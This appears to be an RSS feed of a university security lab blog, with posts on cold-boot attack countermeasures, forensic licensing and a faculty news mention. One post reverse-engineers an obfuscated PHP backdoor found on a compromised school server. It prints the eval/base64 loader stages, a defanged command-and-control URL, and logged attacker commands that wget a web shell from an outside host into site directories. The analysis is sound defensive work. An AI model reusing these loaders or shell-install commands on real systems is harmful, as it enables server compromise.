<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule"
>

<channel>
	<title>ISIS &#187; Forensics</title>
	<atom:link href="http://isisblogs.poly.edu/category/forensics/feed/" rel="self" type="application/rss+xml" />
	<link>http://isisblogs.poly.edu</link>
	<description>Information Systems and Internet Security</description>
	<lastBuildDate>Mon, 20 Oct 2008 17:57:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
		<item>
		<title>Countermeasures to Cold Booting Attacks</title>
		<link>http://isisblogs.poly.edu/2008/02/23/countermeasures-to-cold-booting-attacks/</link>
		<comments>http://isisblogs.poly.edu/2008/02/23/countermeasures-to-cold-booting-attacks/#comments</comments>
		<pubDate>Sun, 24 Feb 2008 00:24:21 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Crypto]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Physical Security]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/02/23/countermeasures-to-cold-booting-attacks/</guid>
		<description><![CDATA[There&#8217;s been a bit of a back and forth discussion on one of our mailing lists regarding Ed Felten&#8217;s recent cold-booting attacks on software FDE (BitLocker, FileVault, dm-crypt etc.). I thought it might be worthwhile to collect some of the potential software-only modifications that would protect against his attacks.
 First though, a [paraphrased] summary of [...]]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s been a bit of a back and forth discussion on one of our <a href="https://isis.poly.edu/mailman/listinfo/infosec">mailing lists</a> regarding <a href="http://www.freedom-to-tinker.com/?p=1257">Ed Felten&#8217;s</a> <a href="http://www.youtube.com/watch?v=JDaicPIgn9U">recent</a> <a href="http://blog.wired.com/27bstroke6/2008/02/researchers-dis.html">cold-booting</a> <a href="http://www.schneier.com/blog/archives/2008/02/cold_boot_attac.html">attacks</a> on software FDE (BitLocker, FileVault, dm-crypt etc.). I thought it might be worthwhile to collect some of the potential software-only modifications that would protect against his attacks.</p>
<p><span id="more-61"></span> First though, a [paraphrased] summary of the discussion thus far:</p>
<blockquote><p><em>Dan F</em>: Why not extend the ISA of the CPU to offload crypto operations to an ASIC or a special part of the CPU? To avoid slowing down the CPU you&#8217;d need to widen the issue and decode/dispatch or add another word if it&#8217;s VLIW. Op fusion might come to your rescue in a future ISA, too.</p></blockquote>
<blockquote><p> <em>Mike P</em>: Good thing MacBooks get nice and hot <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . Why not add a register for the encryption key that gets wiped with the last bit of power in the CPU?</p></blockquote>
<blockquote><p> <em>Me</em>: Can&#8217;t we just encrypt all of RAM too? Lots of consumer computers have TPMs with crypto-coprocessors already. Wait a minute, we&#8217;d need to shove one on the same bus as the RAM and CPU and where would we store <em>those</em> keys? D&#8217;oh! Oh and Dan F, <a href="http://www.news.com/IBM-bakes-security-into-processors/2100-7355_3-6059276.html">IBM beat you to it</a>.</p></blockquote>
<blockquote><p><em>Dan F</em>: I wonder what affect this has on power consumption and overall throughput?</p></blockquote>
<p>Computer forensics people have been getting physical memory dumps for years and what about malicious root-owned processes? The threat has always been there. Hasn&#8217;t <em>anyone</em> been aware of the threats and developed <em>any</em> countermeasures?</p>
<p>I picked up the <a href="http://www.oreilly.com/catalog/secureprgckbk/">Secure Programming Cookbook</a> to look for answers. Here are excerpts from recipes I found that might be applicable to this debate. Since Ed&#8217;s code reads through memory and tries to pick out things that looks like keys, maybe you can obfuscate them to look like something else?</p>
<p><em>DISCLAIMER: I&#8217;ve never dumped the contents of memory and inspected it, I&#8217;ve never written crypto that handled keys securely, I didn&#8217;t test any of these countermeasures, and so on. This is all baseless conjecture.</em></p>
<blockquote><p>Recipe 4.13 &#8211; Managing Key Material Securely<br />
Securely erase keys are soon as you have finished using them. Use the spc_memzero function from Recipe 13.2 or SecureZeroMemory() if you&#8217;re using a new version of Windows.</p></blockquote>
<blockquote><p>Recipe 12.4 &#8211; Performing Bit and Byte Obfuscation<br />
Use the <a href="http://echelon.pl/pubs/">Obcode library</a> by Pawel Krawcykz. The size of variables are inflated eightfold and the library provides many standard byte and integer operations.</p></blockquote>
<blockquote><p>Recipe 12.6 &#8211; Merging Scalar Variables<br />
Problem: Scalar variables with constant or initialized values disclose information about ranges of values.<br />
Solution: Merge multiple scalar values into a single, larger scalar value to make simple, unrelated values appear to be a large value or bitfield.</p></blockquote>
<blockquote><p>Recipe 12.7 &#8211; Splitting Variables<br />
Problem: Large scalar variables that cannot be merged, or that have large values that cannot easily be manipulated with a constant transform, need to be obfuscated.<br />
Solution: You&#8217;ll have to buy the book, I can&#8217;t explain it <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p></blockquote>
<blockquote><p>Recipe 12.10 &#8211; Restructuring Arrays</p>
<ul>
<li>Split a one-dimensional array into multiple one-dimensional arrays</li>
<li>Fold a one-dimensional array into a multi-dimensional array</li>
<li>Flatten a multi-dimensional array into a single one-dimensional array</li>
<li>Merge two one-dimensional arrays into a single one-dimensional array</li>
</ul>
</blockquote>
<blockquote><p>Recipe 12.11 &#8211; Hiding Strings<br />
See the book</p></blockquote>
<p>I also read through all of the comments on <a href="http://www.freedom-to-tinker.com/">Freedom to Tinker</a> to look for potential solutions and bring them to light. Here are some of the more interesting comments I found:</p>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382112">Will Michaels said</a>, &#8220;Full Disk Encrypting (FDE) hard drives perform the encryption in hardware directly on the hard drive, using a key that never leaves the drive. Such FDE drives are protected against this attack on off-drive encryption.&#8221;</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382125">Laszlo Hars said</a>, &#8220;&#8230;However, it has been recommended for ages that encryption keys are never stored in RAM. They have to stay in a locked part of the processor cache. It was not because of the chilled-RAM effects, but because of virtual memory (swap file), or hibernation. The OS might write any info from RAM to disk, where an attacker can find it later. It is surprising that BitLocker does not follow this practice. TrueCrypt is known to be weak both in the choice of algorithms and their implementation (an example is their recent choice to implement the IEEE P1619 encryption standard meant for completely different type of applications)&#8230;.&#8221;</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382130">Brad Templeton said</a>, &#8220;Sorry, Ed, Iâ€™ve been hearing about this technique since the 90s. Itâ€™s not new. Rumor is that spooks have been using it for some time. Hereâ€™s an <a href="http://www.madisonlinux.org/pipermail/madlug/2003-October/007264.html">old message board thread</a> a quick Google search found.</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382138">Laszlo Hars said</a>, &#8220;The real issue revealed by the paper is not weaknesses in disk encryption software, but a cheap way to go around DRM, and code privacy. You run the protected code, like a DVD player or a game in one PC, freeze and move the RAM to another machine (can be the same one rebooted to DOS), where you can analyze the memory at your leisure. You can disassemble protected code, find media keys, etc. It is simpler and cheaper than using high speed, logic analyzers on memory lines.&#8221;</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382153">Justin Wells said</a>, &#8220;&#8230;Even were the disk encryption key problem resolved somehow the attacker could still use this technique to recover data the user had thought was secure. Recovering the key simply allows the attacker to recover ALL the data, rather than only the data in RAM&#8230;.&#8221;</p>
<p>and, &#8220;The â€œkey stored in CPUâ€ used to encrypt RAM, or used to encrypt the disk key stored in RAM, need be nothing more than some randomized values in a few registers that are then preserved. All access to the encrypted data would then make use of the randomized values. The randomized memory encryption key stored in the CPU can be recreated on every boot of the systemâ€“there is no need to preserve it over time. Its purpose is simply to make memory unreadable.&#8221;</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382186">Christopher said</a>, &#8220;Youâ€™re right, some common platforms use a hardware assist to look in the page tables. IA-64 can turn off hardware assistance, so that a TLB miss raises an exception rather than turning to the page table-handling hardware, but the vanilla IA-32 needs its page tables loaded in memory, and as you point out, the TLB isnâ€™t designed for recovering values stored in it.</p>
<p>Of course, if weâ€™re talking about IA-64 or x86_64, weâ€™ve got a lot of registers available to us, we might be able to hold four of them aside with a modified compiler, but that also assumes you can ensure these registers wonâ€™t get pushed to the stack on an interrupt request, or cleared by a context change.</p>
<p>OK, registers, TLB, cache. Is there anywhere else a person can find 256 bits of volatile storage on the die of a modern CPU? Hardware performance counters? You can read those, but I donâ€™t know if you can write them, or turn off their updating.</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382244">Anonymous pointed out</a>, &#8220;I saw something similar to this presented at Black Hat DC last year. Except they were semantically rebuilding the memory image to extract the TrueCrypt keys. <a href="http://www.blackhat.com/presentations/bh-dc-07/Walters/Paper/bh-dc-07-Walters-WP.pdf">link</a>&#8220;</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382251">Todd said</a>, &#8220;&#8230;Also no one has mentioned graphics card memory! OUCH! While there may not be tons of useful data there, it is conceivable that a illegitimate user could cull the image(s) of recent used documents&#8230;.&#8221;</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382256">Andreas said</a>, &#8220;Some processor architectures, like the SPARC architecture for example, provide general registers that are not saved onto the stack (e.g. %g1 to %g7 in case of SPARC) and support multiple register sets, including one exclusively for the operating system. On these architectures it would be feasible to keep the key permantly in registers which would never be copied into memory.&#8221;</p></blockquote>
<blockquote><p><a href="http://www.freedom-to-tinker.com/?p=1257#comment-382332">Richard L. Enison claimed</a> to have <a href="http://www.google.com/patents?vid=USPAT4262329">a patent</a> on storing encryption keys in hardware. sigh.</p></blockquote>
<p>You&#8217;re welcome for reading that entire thread for you, and yes, this is how I spend my weekends.</p>
<p>EDIT: I saw that <a href="http://rdist.root.org/2008/02/24/memory-remanence-attack-analysis/">Nate Lawson</a> of <a href="http://www.rootlabs.com/">Root Labs</a> entered the discussion today with a post on his blog. He seems to agree with Dan F that adding crypto the processor is the best long term solution <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  but he also suggests things FDE developers can do in the meantime.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/02/23/countermeasures-to-cold-booting-attacks/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Reverse Engineering a PHP &#8220;Virus&#8221;</title>
		<link>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/</link>
		<comments>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/#comments</comments>
		<pubDate>Sat, 23 Feb 2008 07:18:44 +0000</pubDate>
		<dc:creator>aleksey</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/</guid>
		<description><![CDATA[In a recent incident a school server (not an ISIS server) was compromised. PHP code was injected that listened to and executed commands passed through a POST request with &#8216;www&#8217; user privileges. Some of the commands that were run include id, pwd as well as directory searches and wgets of various files. The compromised machine [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent incident a school server (not an ISIS server) was compromised. PHP code was injected that listened to and executed commands passed through a POST request with &#8216;www&#8217; user privileges. Some of the commands that were run include <em>id, pwd</em> as well as directory searches and <em>wget</em>s of various files. The compromised machine also served as a hop in a pharmacy ad delivery scheme. It redirected HTTP requests for medications to a <em>possible</em> &#8216;mothership&#8217; server. There is evidence that links to our server were posted as ads on websites like MySpace.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/sample_ads_small.JPG" rel="lightbox[54]"><img src="http://isisblogs.poly.edu/wp-content/uploads/sample_ads_small.JPG" alt="sample_ads" /></a></p>
<p><span id="more-54"></span></p>
<p>This post will focus on describing the deobfuscation process and inner workings of the PHP code that allowed the mentioned functionality. This is not a very hard case of obfuscation. I also suspect that there is a obfuscating tool out there that did this.</p>
<p>You are presented with an obfuscated PHP file. It is only 2 lines, one contains some readable code, and the other is completely obfuscated. Now what? You can execute it, and watch for system calls, filesystem changes, network connections etc. Or, you can deobfuscate it manually and see exactly what it does.</p>
<p><font color="#0000ff"><strong>PARTIAL CODE:</strong></font></p>
<p>** Note, the original file has everything between &lt;?php ?&gt; tags on one line, and everything else on another. The below code is changed for readability.</p>
<pre>
&lt;?php

$OOO0O0O00=__FILE__;
$O00O00O00=__LINE__;
$OO00O0000=3024;

eval( gzuncompress( base64_decode(
'eNplj1dvwjAAhP9MpNgiCGcQEkV5YG/MXi9VhjMgCzsD+PUFtWorVXdPp7tPO
g4jhPBLyPTSjCSAwxh/BQJPbR4aVRBGBNTrHH4X34aeT3IGuJ+pICJJgca/WEG
6Co0X8Xtp+s8icdI4o4QxYFuMqMqHS5zUJYDlNKfAo8Ry/yJkVYMCfx90rWevc
z1N4uNo02qjw3yVyGoNb/Nxujj3Pfvih+Xj1hCl3V6pqOaQ5Zpl0XRWuPqwGZi8
wLc73V5/MByNJ9PZfIGXq/Vmu9sfjqezZTsu8fwgvFyjOEmzG2V5UVb3xxOJkq
w01Zam1xo8hNAgpRWB30PQ+ATAxF8l'
)));
return;
?&gt;

ZS1SnSy7fix0hJOsJgHQjOum3KfA+qjbZD9rzK0Bn0Mox055+qOlyP3NXGsN+N
n1s9TENweIiWrKaJuwjxWBQ1J7fyrY00bzj7nCW/f/63pqGxNSK7x8a2Dqy7y7
H+6/GWbanfTv9jvS1GGD9piUEOUb/eBfmgHXPHxCXCYZo6cPHCeoQEyh3Gm
Eau3z0i5sOeQNGynhwwKBes2XIjNPrsPSut4/Bz8AAE4KN4PdusO/v4OI5okUJ
......(skipping many bytes)......
Y9yT5MATh+TOXU8==</pre>
<p><em><br />
** Complete PHP file provided per request</em></p>
<p><font color="#0000ff"><strong>OBFUSCATION TECHNIQUES USED:</strong></font></p>
<p>(a) Variable name scrambling (e.g. $OO00O00O0, $IIIIIIII1II)<br />
(b) Insertion of NOP (no operation) statements such as:<br />
$LINE_NUM = 1;<br />
while(&#8211;$LINE_NUM) fgets($FILE_HANDLE,1024);<br />
(c) Use of compacting, mapping functions such as:<br />
strtr() or gzuncompress(base64_decode(â€œstringâ€));<br />
(d) Multiple rounds of obfuscation</p>
<p><font color="#0000ff"><strong>DEOBFUSCATION:</strong></font></p>
<p>The first line of the PHP file contains some readable code squeezed into one line. It needs to be made readable by separating it into multiple lines. Notice the eval(gzuncompress(base64_decode(scrambled code)) line. Replacing <em>eval()</em> with a <em>print</em> gets the job done. When the code is run it spits out more code. Now, variable names such as $OOO0O0O00 are replaced with something more useful. The mapping of variables is noted because as more code gets deobfuscated we need to look those up.</p>
<pre>
&lt;?php

$FILE_NAME=__FILE__;    // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;     // It is "1". Explanation below
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);    // reads in the first line, advances the file pointer

$CODE=
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,368),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)));

//eval($CODE);
return;
?&gt;</pre>
<p>Explanation:</p>
<p>__FILE__ is the name of the script file currently being parsed. __LINE__ is the number of the line within the current script file. The code opens itself (its own file) for reading in binary mode. Then, there are <em>fgets()</em> commands for 1024 and 4096 bytes. Next, the $CODE variable is assigned a value and evaluated (another round of decryption).</p>
<p><strong>(2) Second round of decryption.</strong></p>
<p>We need to see what the value of $CODE is in cleartext. Once again, there is a &#8220;gzuncompress(base64_decode(&#8221; instruction which is passed the value of <em>strtr()</em> function (not to confuse with <em>strstr()</em>). The <em>strtr()</em> functions prototype is &#8220;string strtr(string $str, string $from, string $to)&#8221;. It returns a copy of &#8220;str&#8221;, translating all occurrences of each character in &#8220;from&#8221;  to the corresponding character in &#8220;to&#8221;. So we have a mapping of some sort. Now comes the complicated part.</p>
<p>The $str is a string of 368 bytes from the original file. But, there are 2 <em>fgets()</em> statements that advance the file handle before the <em>fread()</em> can read in the 368 bytes. The first <em>fgets()</em> is not executed  because in &#8220;while(&#8211;$LINE_NUM) fgets($FILE_HANDLE,1024);&#8221; the value of LINE_NUM is 1. The second <em>fgets()</em> statement,&#8221;fgets($FILE_HANDLE,4096)&#8221; is executed &#8211; it reads in the whole first line of the file. So, the 368 bytes to be used in the strtr call come from the first 368 bytes of the second line in the original php file.</p>
<p>We use those 368 bytes in â€œgzuncompress(base64_decode(strtr(fread(â€œ as the value for <em>fread()</em>. The resulting code with cleaned up variable names is below. Notice, the $CODE is replaced with its value. The replacement is almost the same as the previous code, except there is also an <em>ereg_replace() </em>call.</p>
<pre>
&lt;?php
$FILE_NAME=__FILE__;   // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;    // It is "1".
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);

if (!function_exists('gzuncompress')) die('');

$CODE2=
ereg_replace(
'__FILE__',
"'" . $FILE_NAME . "'" ,
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,$SIZE),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
))));

fclose($FILE_HANDLE);
//eval($CODE2);
return;
?&gt;</pre>
<p><strong>(3) Third round of decryption:</strong></p>
<p>We now need to figure out the value of $CODE2. The <em>ereg_replace()</em> prototype is &#8220;string ereg_replace  (string $pattern, string $replacement, string $string)&#8221;. It scans &#8220;string&#8221;  for matches to &#8220;pattern&#8221; , then replaces the matched text with &#8220;replacement&#8221;. Right away we notice that &#8220;pattern&#8221; and &#8220;replacement&#8221; are the same thing. So this is another NOP operation. Again the focus is on  &#8220;gzuncompress(base64_decode(strtr(&#8221;. This time, the strtr() takes as its first argument $SIZE bytes from the second line of the original file. Don&#8217;t forget that in the previous round of decryption, the FILE_HANDLE was advanced 368 bytes. And behold, we finally get the (almost) final version of the code!</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/final_still_obfuscated_code.txt" title="code_version1">code_version1</a></p>
<p><strong>(4) Fourth round of deobfuscation.</strong></p>
<p>We finally have some useful PHP code. But part of it is still scrambled. There is another series of &#8220;gzinflate(base64_decode(&#8221; commands in the beginning of this code. I will simply present the results as I have already described what to do. It is worth mentioning that this time you need to do 13 iterations on the same little piece of code to get to the clear text code. This needs to be automated. The stopping condition is when there is no more &#8220;eval(gzinflate(base64_decode(&#8221; commands in the code. A python script like <a href="http://isisblogs.poly.edu/wp-content/uploads/deobfuscate.txt" title="this">this</a> solves the problem.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/final_deobfuscated_code.txt" title="code_version2">code_version2</a></p>
<p><font color="#0000ff"><strong>SUMMARY</strong></font></p>
<p>So what exactly does the code do?<br />
(a) Executes a command passed in $_POST["I1llI1"]. Could be any system command.<br />
(b) Its mothership is &#8220;hxxp://bessearches.info/virtual/gen.php&#8221;. Queries to our exploited server, such as â€œGET_php_virus?/phentermine/drug-phentermine.htmlâ€ are satisfied by pulling actual information from the mothership and displaying it on exploited server.</p>
<p>What command were run on the infected machine?<br />
There is no way of telling as they were passed in the POST request. But during sniffing phase, the attacker entered the following commands.</p>
<pre>
ls -lidpwd
find /Volumes/SSDrive/websites/SITENAMEHERE/ -user www -print
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/allimages/rma.php
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/unilogo/rma.php
find /Volumes/SSDrive/websites -user www -name "*.php" -ctime -40 -print
cat /Volumes/SSDrive/websites/SITENAMEHERE/images/faculty.php</pre>
<p>So we can see that the attacker was doing some reconnaissance as well as installing other backdoors.</p>
<p><font color="#0000ff"><strong>FOLLOW UP</strong></font></p>
<p>The mothership (<em>hxxp://bessearches.info/virtual/gen.php</em>) is still up. Simply entering this URL spits out  an obfuscated string that looks like the second line of our file, but longer. If I have some free time, I will write a script to do parse it.</p>
<p><font color="#0000ff"><strong>ADDITIONS</strong></font></p>
<p>[2008-02-25] This malware has backdoor and adware functionality and should be classified as such. (thanks <a href="http://schmoil.blogspot.com/" rel="external nofollow">Schmoilito</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Forensic licensing isn&#8217;t that bad</title>
		<link>http://isisblogs.poly.edu/2008/02/18/forensic-licensing-isnt-that-bad/</link>
		<comments>http://isisblogs.poly.edu/2008/02/18/forensic-licensing-isnt-that-bad/#comments</comments>
		<pubDate>Mon, 18 Feb 2008 07:32:02 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Legal]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/02/18/forensic-licensing-isnt-that-bad/</guid>
		<description><![CDATA[At ShmooCon &#8216;08 Simple Nomad heavily advertised the cause of forensiclicensing.com. Unknown to me and many others, many states are requiring that all practitioners of computer forensics become licensed, in this case by becoming a licensed Private Investigator. Simple Nomad described this as one of the greatest threats currently facing our community, however, I contend [...]]]></description>
			<content:encoded><![CDATA[<p>At ShmooCon &#8216;08 <a href="http://www.nmrc.org/~thegnome/">Simple Nomad</a> heavily advertised the cause of <a href="http://www.forensiclicensing.com">forensiclicensing.com</a>. Unknown to me and many others, many states are requiring that all practitioners of computer forensics become licensed, in this case by becoming a licensed <a href="http://en.wikipedia.org/wiki/Private_investigator">Private Investigator</a>. Simple Nomad described this as one of the greatest threats currently facing our community, however, I contend that this is not necessarily such a bad thing.</p>
<p><span id="more-46"></span> Unknown to many amateurs, computer forensics is extremely difficult and goes beyond simple technical problems. Have you ever heard of the <a href="http://en.wikipedia.org/wiki/Best_evidence_rule">Best Evidence Rule</a>? Do you understand the rules surrounding <a href="http://en.wikipedia.org/wiki/Expert_witness">Expert Witnesses</a> in court? No? Then you shouldn&#8217;t be collecting evidence for use in a trial. Computer forensics is not as simple as picking up your favorite tools, whether it is standard like <a href="http://www.porcupine.org/forensics/tct.html">TCT</a> or your own set of shell scripts, and applying them to your clients hard drive. Doing that is a perfect way to completely sabotage a trial and get yourself into serious legal problems (tampering with evidence).</p>
<p>Licensing computer forensics practitioners legitimizes and standards it into a profession. It allows others to recognize and respect us and to trust our ability to gather evidence. The problem lies in the execution. I&#8217;m not intimately familiar with PI licensing, however I&#8217;ve heard it requires things like years of training and a mandatory apprenticeship. I also don&#8217;t know specifically what activities these proposed laws restrict.</p>
<p>Ideally, we&#8217;d want a license that isn&#8217;t overly difficult or time-consuming (as learning computer forensics isn&#8217;t overly difficult or time-consuming) and one that doesn&#8217;t apply to situations that won&#8217;t end up in front of a jury at a later date. Congress should not be able to legislate what I do with my own or my friends machines. As long as those above topics are respected, I see licensing of professional computer forensic investigators as a positive move.</p>
<p>Someone prove me wrong.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/02/18/forensic-licensing-isnt-that-bad/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Memon&#8217;s 15 minutes, take 2</title>
		<link>http://isisblogs.poly.edu/2007/03/10/29/</link>
		<comments>http://isisblogs.poly.edu/2007/03/10/29/#comments</comments>
		<pubDate>Sat, 10 Mar 2007 03:40:06 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[ISIS in the News]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2007/03/10/29/</guid>
		<description><![CDATA[Adobe Tackles Photo Forgeries
Nasir Memon, the professor who oversees much of our lab, was quoted in the above article relating to Adobe&#8217;s decision to include forgery detection plugins with the next version of Photoshop. Among the areas of research currently ongoing in ISIS, multimedia forensics, watermarking, and stegonography are some of the top for PhDs.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.wired.com/news/technology/0,72883-0.html?tw=wn_index_1">Adobe Tackles Photo Forgeries</a></p>
<p><a href="http://isis.poly.edu/memon/">Nasir Memon</a>, the professor who oversees much of our lab, was quoted in the above article relating to Adobe&#8217;s decision to include forgery detection plugins with the next version of Photoshop. Among the areas of research currently ongoing in ISIS, <a href="http://isis.poly.edu/index.php?page=1&amp;project=1089">multimedia forensics</a>, <a href="http://isis.poly.edu/index.php?page=1&amp;project=1085">watermarking</a>, and <a href="http://isis.poly.edu/index.php?page=1&amp;project=1086">stegonography</a> are some of the top for PhDs.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2007/03/10/29/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
	</channel>
</rss>
